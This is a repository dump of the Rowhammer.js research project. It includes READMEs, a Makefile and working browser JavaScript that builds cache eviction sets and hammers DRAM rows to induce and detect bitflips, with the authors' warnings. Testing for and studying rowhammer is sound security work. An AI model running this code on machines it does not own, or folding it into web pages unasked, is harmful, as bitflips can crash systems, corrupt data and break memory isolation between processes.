├── LICENSE-2.0.txt ├── README.md ├── javascript ├── rowhammer.html ├── rowhammer.js ├── rowhammer_scan.html ├── rowhammer_scan.js └── screenshot.png ├── native ├── Makefile ├── README.md └── rowhammer.cc └── tools ├── Makefile └── watch_firefox.cc /LICENSE-2.0.txt: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Program for testing for the DRAM "rowhammer" problem using eviction 2 | 3 | See https://github.com/google/rowhammer-test - this is an adaption of the 4 | ''double_sided_rowhammer'' program from their repository. 5 | 6 | Also see our paper ''Rowhammer.js: A Remote Software-Induced Fault Attack in JavaScript'': https://scholar.google.at/citations?view_op=view_citation&hl=de&user=JmCg4uQAAAAJ&citation_for_view=JmCg4uQAAAAJ:tOudhMTPpwUC 7 | 8 | ## How to run the native eviction-based rowhammer test 9 | 10 | ``` 11 | cd native 12 | make 13 | ./double_sided_rowhammer_ivy -d 1 # -d number of dimms 14 | # or 15 | ./double_sided_rowhammer_haswell -d 1 # -d number of dimms 16 | ``` 17 | 18 | The test should work on x86-64 Linux. 19 | 20 | If you have found a reproducible bitflip, look for the ''Print this for the 21 | watch_firefox tool'' comment. 22 | 23 | ## Find the array indices for specific physical addresses 24 | 25 | Edit tools/watch_firefox.cc to contain the addresses from your native 26 | eviction-based rowhammer test. 27 | 28 | Start firefox with rowhammer.html 29 | 30 | ``` 31 | cd tools 32 | make 33 | ./watch_firefox 34 | ``` 35 | 36 | The program outputs physical address mappings and the time since 37 | the last allocation. Based on this and the virtual address printed you 38 | can determine where the array starts. 39 | 40 | Allocate memory in a large array in JavaScript. 41 | If using ''rowhammer.html'': Click the ''Allocate'' button. 42 | 43 | If you have much noise before you press the button, just restart 44 | ''watch_firefox'' and try again. 45 | 46 | As soon as it has found the indices it asks you to enter the virtual address 47 | of the array start. This is not yet automated. 48 | 49 | The program prints the array indices to use in JavaScript. 50 | In case of ''rowhammer.html'' just copy them into the editbox and click ''Parse''. 51 | Then you can start Hammering. 52 | 53 | ## rowhammer.html / rowhammer.js 54 | In the ''javascript'' folder you find the Rowhammer.js version 55 | for Haswell CPUs with a 16-way L3 cache and no L4 cache ''rowhammer.html''. It will probably not 56 | work on other CPUs without modifications. 57 | 58 | Open ''rowhammer.html'' in a browser, paste the hammering array indices in the 59 | editbox (you can use the ''watch_firefox'' program for this). 60 | 61 | You can modify ''rowhammer.js'' while the page is still loaded and click the 62 | ''Refresh'' button to only reload the ''rowhammer.js'' file. This way you keep 63 | the array and the array indices and you can experiment with different settings 64 | while not having to search for the array indices anew. 65 | 66 | ## Javascript-only Variant 67 | Also, in the ''javascript'' folder you will find the ''rowhammer_scan.html''. 68 | It is the pure JavaScript proof-of-concept for Haswell CPUs with a 16-way L3 cache and no L4 cache, memory in single-channel mode (this is the case if you have only one DIMM). Furthermore, it assumes that JavaScript memory is physically contiguous in blocks of 2 megabytes - this is the case if your OS allocates 2M anonymous pages (all our Linux systems do) or if it allocates physically contiguous 4K pages. It will probably not work on other systems without modifications. 69 | 70 | Open ''rowhammer_scan.html'' in a browser. Click the ''Allocate'' button. Wait a second to let Firefox allocate memory and click ''Hammer'' to start the hammering. 71 | 72 | For reference we have added a screenshot: 73 | ![Screenshot of rowhammer_scan.html](/javascript/screenshot.png) 74 | 75 | You can modify ''rowhammer_scan.js'' while the page is still loaded and click the 76 | ''Refresh'' button to only reload the ''rowhammer.js'' file. This way you keep 77 | the array and the array indices and you can experiment with different settings 78 | while not having to allocate the array anew. 79 | 80 | This version is not adaptive to all CPUs. As we said in the paper, the eviction strategy finding algorithm is very slow. We still try different optimizations and we will evaluate it's performance. 81 | However, there is not much use in doing this search in JavaScript as it takes hours and there is not much benefit once you know the strategy. A more realistic adaptive approach would be to try different strategies that are already known to work on some CPUs. This way you can find the right strategy adaptively without having to execute the generic eviction strategy finding algorithm. 82 | However, if you like to try, you will find the ''cached'' function already implemented in the ''rowhammer_scan.js''. 83 | 84 | ## Warnings 85 | 86 | Same warnings as in the original https://github.com/google/rowhammer-test repository: 87 | 88 | **Warning #1:** We are providing this code as-is. You are responsible 89 | for protecting yourself, your property and data, and others from any 90 | risks caused by this code. This code may cause unexpected and 91 | undesirable behavior to occur on your machine. This code may not 92 | detect the vulnerability on your machine. 93 | 94 | Be careful not to run this test on machines that contain important 95 | data. On machines that are susceptible to the rowhammer problem, this 96 | test could cause bit flips that crash the machine, or worse, cause bit 97 | flips in data that gets written back to disc. 98 | 99 | **Warning #2:** If you find that a computer is susceptible to the 100 | rowhammer problem, you may want to avoid using it as a multi-user 101 | system. Bit flips caused by row hammering breach the CPU's memory 102 | protection. On a machine that is susceptible to the rowhammer 103 | problem, one process can corrupt pages used by other processes or by 104 | the kernel. 105 | 106 | Additionally, if your computer is susceptible to the rowhammer bug, 107 | disable JavaScript in your browser! Attackers could exploit this bug 108 | through JavaScript and take control over your machine. 109 | 110 | -------------------------------------------------------------------------------- /javascript/rowhammer.html: -------------------------------------------------------------------------------- 1 | 17 | 18 | Test 19 | 36 | 37 | 38 | 57 |

This is not the pure JavaScript version of Rowhammer.js. 58 | This version is tested on a Haswell CPU with a 16-way L3 cache and no L4 cache. It will probably not work on other CPUs.

59 | offsets
60 | number_of_reads
61 | 62 | 63 | 64 | 65 | 66 | 67 |
68 | 69 | 70 | -------------------------------------------------------------------------------- /javascript/rowhammer.js: -------------------------------------------------------------------------------- 1 | // Copyright 2015, Daniel Gruss, Clémentine Maurice 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | // 15 | 16 | stop = 0; 17 | function allocate() 18 | { 19 | if (stop == 1) 20 | return; 21 | do 22 | { 23 | array[alloci] = alloci/4096; 24 | alloci += 4096; 25 | } while ((alloci % (2*1024*1024)) != 0); 26 | setTimeout(allocate, 50); 27 | } 28 | function start() 29 | { 30 | if (stop == 1) 31 | return; 32 | setTimeout(allocate, 50); 33 | } 34 | function stopa() 35 | { 36 | stop = 1; 37 | } 38 | function fillrandom() 39 | { 40 | for (var i = 0; i < 63; i += 1) 41 | { 42 | array[f[i]] = Math.random()*256 | 0; 43 | array[s[i]] = Math.random()*256 | 0; 44 | } 45 | } 46 | function parseaddrs() 47 | { 48 | stopa(); 49 | 50 | offsets = document.getElementById("mapping").value.split("\n"); 51 | for (var i = 0; i < 2; i++) 52 | { 53 | v[i] = parseInt(offsets[i],16); 54 | } 55 | for (var i = v[0]; i <= v[1]; i++) 56 | array[i] = 255; 57 | var fidx = 0; 58 | var sidx = 0; 59 | for (var i = 2; i < 66; i++) 60 | f[fidx++] = parseInt(offsets[i],16); 61 | for (var i = 66; i < 130; i++) 62 | s[sidx++] = parseInt(offsets[i],16); 63 | fillrandom(); 64 | } 65 | 66 | function check(sum) 67 | { 68 | if (sum == 0) 69 | document.getElementById("text").innerHTML += "
[!] sum is " + sum + "(should never happen)
"; 70 | var flip = 0; 71 | for (var i = v[0]; i <= v[1]; i++) { 72 | if (array[i] != 255) 73 | { 74 | document.getElementById("text").innerHTML += "
[!] Found flip (" + array[i] + " != 255) at array index " + i + " when hammering indices " + f[0] + " and " + s[0] + "
"; 75 | array[i] = 255; 76 | } 77 | } 78 | fillrandom(); 79 | if (flip == 0) 80 | setTimeout(hammer, 100); 81 | } 82 | function hammer() 83 | { 84 | 85 | var sum = Math.random()*256 | 0; 86 | var number_of_reads = parseInt(document.getElementById("number_of_reads").value) | 0; 87 | if (number_of_reads == 0) 88 | return; 89 | 90 | var f0 = f[0] | 0; 91 | var s0 = s[0] | 0; 92 | 93 | var t0 = window.performance.now(); 94 | while (number_of_reads-- > 0) { 95 | for (var i = 1; i < 34; i += 1) // you might have to vary 34 here, should be close to native code 96 | { 97 | sum += array[f[i]]; 98 | sum += array[s[i]]; 99 | sum += array[f[i+1]]; 100 | sum += array[s[i+1]]; 101 | sum += array[f[i]]; 102 | sum += array[s[i]]; 103 | sum += array[f[i+1]]; 104 | sum += array[s[i+1]]; 105 | } 106 | // simple eviction by filling a cache-sized memory buffer 107 | // slow, use only to check whether the histogram works and only for 108 | // a really small number of reads 109 | /*for (var i = 0; i < 8*1024*1024; i += 1) 110 | { 111 | sum += array[i]; 112 | }*/ 113 | //var t1 = window.performance.now(); 114 | sum += array[f[0]]; 115 | sum += array[s[0]]; 116 | //var t2 = window.performance.now(); 117 | /* array[f0] += 1; 118 | array[s0] += 1;*/ 119 | 120 | 121 | // because the above ones are commented out 122 | var t1 = 0; 123 | var t2 = 0; 124 | 125 | 126 | // we found that some useless instructions increase the number of bitflips 127 | // you can try to comment the following code out 128 | if (Math.round((t2 - t1) * 100000.0,0) > 42) 129 | hist[42] += 1; 130 | else if (hist[Math.round((t2 - t1) * 100000.0,0)] > 0) 131 | hist[Math.round((t2 - t1) * 100000.0,0)] += 1; 132 | else 133 | hist[Math.round((t2 - t1) * 100000.0,0)] = 1; 134 | } 135 | var t2 = window.performance.now(); 136 | 137 | // histogram code is commented out 138 | /* document.getElementById("text").innerHTML = ""; 139 | document.getElementById("text").innerHTML += sum + "
"; 140 | document.getElementById("text").innerHTML += array[f[0]] + "
"; 141 | document.getElementById("text").innerHTML += v[0] + "
"; 142 | document.getElementById("text").innerHTML += f[0] + "
"; 143 | document.getElementById("text").innerHTML += s[0] + "
"; 144 | for (var i = 0; i < 43; i++) 145 | document.getElementById("text").innerHTML += i + "0: " + hist[i] + "
"; 146 | hist = Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); 147 | */ 148 | document.getElementById("text").innerHTML += " " + Math.round((t2 - t0) * 1000000.0/parseInt(document.getElementById("number_of_reads").value),0); 149 | check(sum); 150 | } 151 | document.getElementById("text").innerHTML = ""; 152 | 153 | -------------------------------------------------------------------------------- /javascript/rowhammer_scan.html: -------------------------------------------------------------------------------- 1 | 17 | 18 | Test 19 | 36 | 37 | 38 | 57 |

JavaScript-only version of Rowhammer.js. 58 | This version is tested on a Haswell CPU with a 16-way L3 cache and no L4 cache. It will probably not work on other CPUs. However, the code can be adapted to other CPUs as well.

59 |

See our repository for more information.

60 | number_of_reads
61 | 62 | 63 | 64 |
65 |
66 | 67 | 68 | -------------------------------------------------------------------------------- /javascript/rowhammer_scan.js: -------------------------------------------------------------------------------- 1 | // Copyright 2015, Daniel Gruss, Clémentine Maurice 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | // 15 | stop = 0; 16 | function allocate() 17 | { 18 | if (stop == 1) 19 | return; 20 | do 21 | { 22 | array[alloci] = alloci/4096; 23 | alloci += 4096; 24 | } while ((alloci % (2*1024*1024)) != 0); 25 | //document.getElementById("text").innerHTML += (alloci/1024/1024) + "
"; 26 | setTimeout(allocate, 10); 27 | } 28 | function start() 29 | { 30 | if (stop == 1) 31 | return; 32 | setTimeout(allocate, 50); 33 | } 34 | function stopa() 35 | { 36 | stop = 1; 37 | } 38 | var darray = new DataView(array.buffer); 39 | function fillrandom() 40 | { 41 | for (var i = 0; i < 63; i += 1) 42 | { 43 | array[f[i]] = Math.random()*256 | 0; 44 | array[s[i]] = Math.random()*256 | 0; 45 | } 46 | } 47 | 48 | function check(sum) 49 | { 50 | if (sum == 0) 51 | document.getElementById("text").innerHTML += "
[!] sum is " + sum + "(should never happen)
"; 52 | var flip = 0; 53 | for (var i = v[0]; i < v[1]; i++) { 54 | if (array[i] != 255) 55 | { 56 | document.getElementById("text").innerHTML += "
[!] Found flip (" + array[i] + " != 255) at array index " + i + " when hammering indices " + f[0] + " and " + s[0] + "
"; 57 | array[i] = 255; 58 | } 59 | } 60 | fillrandom(); 61 | if (flip == 0) 62 | setTimeout(hammer_second_row, 10); 63 | } 64 | function cached(arr) 65 | { 66 | if (hammering == 0) 67 | return; 68 | hist = Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); 69 | var N = 1000; 70 | while (N-- > 0) { 71 | for (var i = 1; i < arr.length-1; i += 1) 72 | { 73 | sum += array[arr[i]]; 74 | sum += array[arr[i+1]]; 75 | sum += array[arr[i]]; 76 | sum += array[arr[i+1]]; 77 | 78 | } 79 | var t1 = window.performance.now(); 80 | sum += array[arr[0]]; 81 | var t2 = window.performance.now(); 82 | 83 | if (Math.round((t2 - t1) * 50000.0,0) > 15) 84 | hist[15] += 1; 85 | else if (hist[Math.round((t2 - t1) * 50000.0,0)] > 0) 86 | hist[Math.round((t2 - t1) * 50000.0,0)] += 1; 87 | else 88 | hist[Math.round((t2 - t1) * 50000.0,0)] = 1; 89 | } 90 | var t2 = window.performance.now(); 91 | /* document.getElementById("histogram").innerHTML = ""; 92 | for (var i = 0; i <= 15; i++) 93 | document.getElementById("histogram").innerHTML += (i*20) + ": " + hist[i] + "
";*/ 94 | if ((hist[0]+hist[1]+hist[2]) > 0) 95 | { 96 | return true; 97 | } 98 | return false; 99 | } 100 | function reducef() 101 | { 102 | if (hammering == 0) 103 | return; 104 | if (f.length > 38) 105 | { 106 | var tmp = f[1]; 107 | f.splice(1,1); 108 | if (cached(f)) 109 | { 110 | f.push(tmp); 111 | } 112 | else 113 | document.getElementById("text").innerHTML += "- "; 114 | //document.getElementById("text").innerHTML += "removed " + tmp + "
"; 115 | //document.getElementById("text").innerHTML += "f " + f.length; 116 | setTimeout(reducef, 100); 117 | } 118 | else 119 | { 120 | document.getElementById("text").innerHTML += "
"; 121 | setTimeout(hammer_second_row, 100); 122 | } 123 | } 124 | function reduces() 125 | { 126 | if (hammering == 0) 127 | return; 128 | if (s.length > 38) 129 | { 130 | var tmp = s[1]; 131 | s.splice(1,1); 132 | if (cached(s)) 133 | { 134 | s.push(tmp); 135 | } 136 | //document.getElementById("text").innerHTML += "s " + s.length; 137 | setTimeout(reduces, 100); 138 | } 139 | else 140 | { 141 | //document.getElementById("text").innerHTML += "
"; 142 | setTimeout(hammer_single, 100); 143 | } 144 | } 145 | var eviction_addrs = 0; 146 | var seviction_addrs = 0; 147 | function pickf() 148 | { 149 | eviction_addrs = 4*37+1; 150 | for (var i = 1; i < eviction_addrs; ++i) 151 | { 152 | f[i] = f[0] + 128 * 1024 + i * 128 * 1024; 153 | document.getElementById("text").innerHTML += "+ "; 154 | //document.getElementById("text").innerHTML += "added " + f[i] + "
"; 155 | } 156 | fillrandom(); 157 | reducef(); 158 | } 159 | function picks() 160 | { 161 | var seviction_addrs = 4*37+1; 162 | for (var i = 1; i < seviction_addrs; ++i) 163 | { 164 | s[i] = s[0] + i * 128 * 1024; 165 | } 166 | fillrandom(); 167 | reduces(); 168 | } 169 | function hammer_single() 170 | { 171 | 172 | var sum = Math.random()*256 | 0; 173 | var number_of_reads = parseInt(document.getElementById("number_of_reads").value) | 0; 174 | if (number_of_reads == 0) 175 | return; 176 | 177 | var t0 = window.performance.now(); 178 | while (number_of_reads-- > 0) { 179 | //var t1 = window.performance.now()/10.0; 180 | for (var i = 1; i < 36; i += 1) 181 | { 182 | sum += array[f[i]]; 183 | sum += array[s[i]]; 184 | sum += array[f[i+1]]; 185 | sum += array[s[i+1]]; 186 | sum += array[f[i]]; 187 | sum += array[s[i]]; 188 | sum += array[f[i+1]]; 189 | sum += array[s[i+1]]; 190 | } 191 | //var t2 = window.performance.now()/10.0; 192 | /*for (var i = 0; i < 8*1024*1024; i += 1) 193 | { 194 | sum += array[i]; 195 | }*/ 196 | var t1 = window.performance.now(); 197 | sum += array[f[0]]; 198 | sum += array[s[0]]; 199 | var t2 = window.performance.now(); 200 | 201 | if (Math.round((t2 - t1) * 50000.0,0) > 15) 202 | hist[15] += 1; 203 | else if (hist[Math.round((t2 - t1) * 50000.0,0)] > 0) 204 | hist[Math.round((t2 - t1) * 50000.0,0)] += 1; 205 | else 206 | hist[Math.round((t2 - t1) * 50000.0,0)] = 1; 207 | } 208 | var t2 = window.performance.now(); 209 | document.getElementById("histogram").innerHTML = ""; 210 | document.getElementById("histogram").innerHTML += "sum("+sum + ")"; 211 | document.getElementById("histogram").innerHTML += "*f("+array[f[0]] + ")"; 212 | document.getElementById("histogram").innerHTML += "v("+v[0] + ")"; 213 | document.getElementById("histogram").innerHTML += "f("+f[0] + ")"; 214 | document.getElementById("histogram").innerHTML += "s("+s[0]+")
"; 215 | for (var i = 0; i <= 15; i++) 216 | document.getElementById("histogram").innerHTML += (i*20) + ": " + hist[i] + "
"; 217 | hist = Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); 218 | 219 | document.getElementById("text").innerHTML += " " + Math.round((t2 - t0) * 1000000.0/parseInt(document.getElementById("number_of_reads").value),0); 220 | check(sum); 221 | } 222 | var row_number = -1; 223 | var row_size = 128*1024; 224 | var foffset = 0; 225 | var soffset = 0; 226 | var hammering = 0; 227 | function hammer() 228 | { 229 | if (hammering++ != 0) 230 | return; 231 | row_number++; 232 | foffset = -4096; 233 | v[0] = (row_number + 1) * row_size; 234 | v[1] = (row_number + 2) * row_size; 235 | for (var i = v[0]; i <= v[1]; i++) 236 | array[i] = 255; 237 | document.getElementById("text").innerHTML += "
[!] Hammering 128K offsets "+ row_number +" and "+ (row_number + 2) +"
"; 238 | hammer_first_row(); 239 | } 240 | function hammer_first_row() 241 | { 242 | foffset += 4096; 243 | if (foffset < row_size) 244 | { 245 | f[0] = (row_number + 0) * row_size + foffset; 246 | soffset = -4096; 247 | pickf(); 248 | } 249 | else 250 | { 251 | setTimeout(hammer, 10); 252 | } 253 | } 254 | function hammer_second_row() 255 | { 256 | if (hammering == 0) 257 | return; 258 | soffset += 4096; 259 | if (soffset < row_size) 260 | { 261 | s[0] = (row_number + 2) * row_size + soffset; 262 | picks(); 263 | } 264 | else 265 | { 266 | setTimeout(hammer_first_row, 10); 267 | } 268 | } 269 | document.getElementById("histogram").innerHTML = ""; 270 | document.getElementById("text").innerHTML = ""; 271 | 272 | -------------------------------------------------------------------------------- /javascript/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isec-tugraz/rowhammerjs/62c9f3199d0a7ff5f7e06722fbcc1e186cf37591/javascript/screenshot.png -------------------------------------------------------------------------------- /native/Makefile: -------------------------------------------------------------------------------- 1 | all: rowhammer 2 | clean: 3 | rm -f rowhammer 4 | rowhammer: rowhammer.cc 5 | g++ -g -pthread -std=c++11 -O3 -o $@ $@.cc 6 | rowhammer-ivy: rowhammer.cc 7 | g++ -g -pthread -std=c++11 -O3 -o $@ -DIVY $^ 8 | rowhammer-sandy: rowhammer.cc 9 | g++ -g -pthread -std=c++11 -O3 -o $@ -DSANDY $^ 10 | rowhammer-haswell: rowhammer.cc 11 | g++ -g -pthread -std=c++11 -O3 -o $@ -DHASWELL $^ 12 | rowhammer-skylake: rowhammer.cc 13 | g++ -g -pthread -std=c++11 -O3 -o $@ -DSKYLAKE $^ 14 | 15 | -------------------------------------------------------------------------------- /native/README.md: -------------------------------------------------------------------------------- 1 | # Program for testing for the DRAM "rowhammer" problem 2 | 3 | See https://github.com/google/rowhammer-test - this is an adaption of the 4 | ''double_sided_rowhammer'' program from their repository. 5 | 6 | Also see our paper ''Rowhammer.js: A Remote Software-Induced Fault Attack in JavaScript'': https://scholar.google.at/citations?view_op=view_citation&hl=de&user=JmCg4uQAAAAJ&citation_for_view=JmCg4uQAAAAJ:tOudhMTPpwUC 7 | 8 | This tool also uses the DRAM addressing functions from ''DRAMA: Exploiting DRAM Addressing for Cross-CPU Attacks'' https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/pessl 9 | 10 | ## Build 11 | 12 | Use one of the following: 13 | ``` 14 | make 15 | make rowhammer-sandy 16 | make rowhammer-ivy 17 | make rowhammer-haswell 18 | make rowhammer-skylake 19 | ``` 20 | 21 | The test should work on x86-64 Linux. 22 | 23 | ## Run 24 | 25 | Run as follows: 26 | ``` 27 | # ./rowhammer[-architecture] [-t nsecs] [-p percent] [-c cores] [-d dimms] [-r row] [-f first_offset] [-s second_offset] 28 | ./rowhammer-skylake -c 2 -d 2 29 | ``` 30 | ### Parameters 31 | - ''-c'' the number of cores (only important with ''#define EVICTION_BASED'') 32 | - ''-p'' percent of memory to use 33 | - ''-d'' number of dimms (very important) 34 | - ''-r'' loop only over the specified row 35 | - ''-f'' only test addresses with the specified first aggressor offset 36 | - ''-s'' only test addresses with the specified second aggressor offset 37 | 38 | ### Definitions 39 | - ''#define PERF_COUNTERS'' to measure cache hits and misses 40 | - ''#define MEASURE_EVICTION'' to generate histograms to verify whether eviction works 41 | - ''#define FIND_EXPLOITABLE_BITFLIPS'' retry hammering addresses with bitflips to check for bitflips possibly exploitable from JavaScript 42 | 43 | ## Warnings 44 | 45 | Same warnings as in the original https://github.com/google/rowhammer-test repository: 46 | 47 | **Warning #1:** We are providing this code 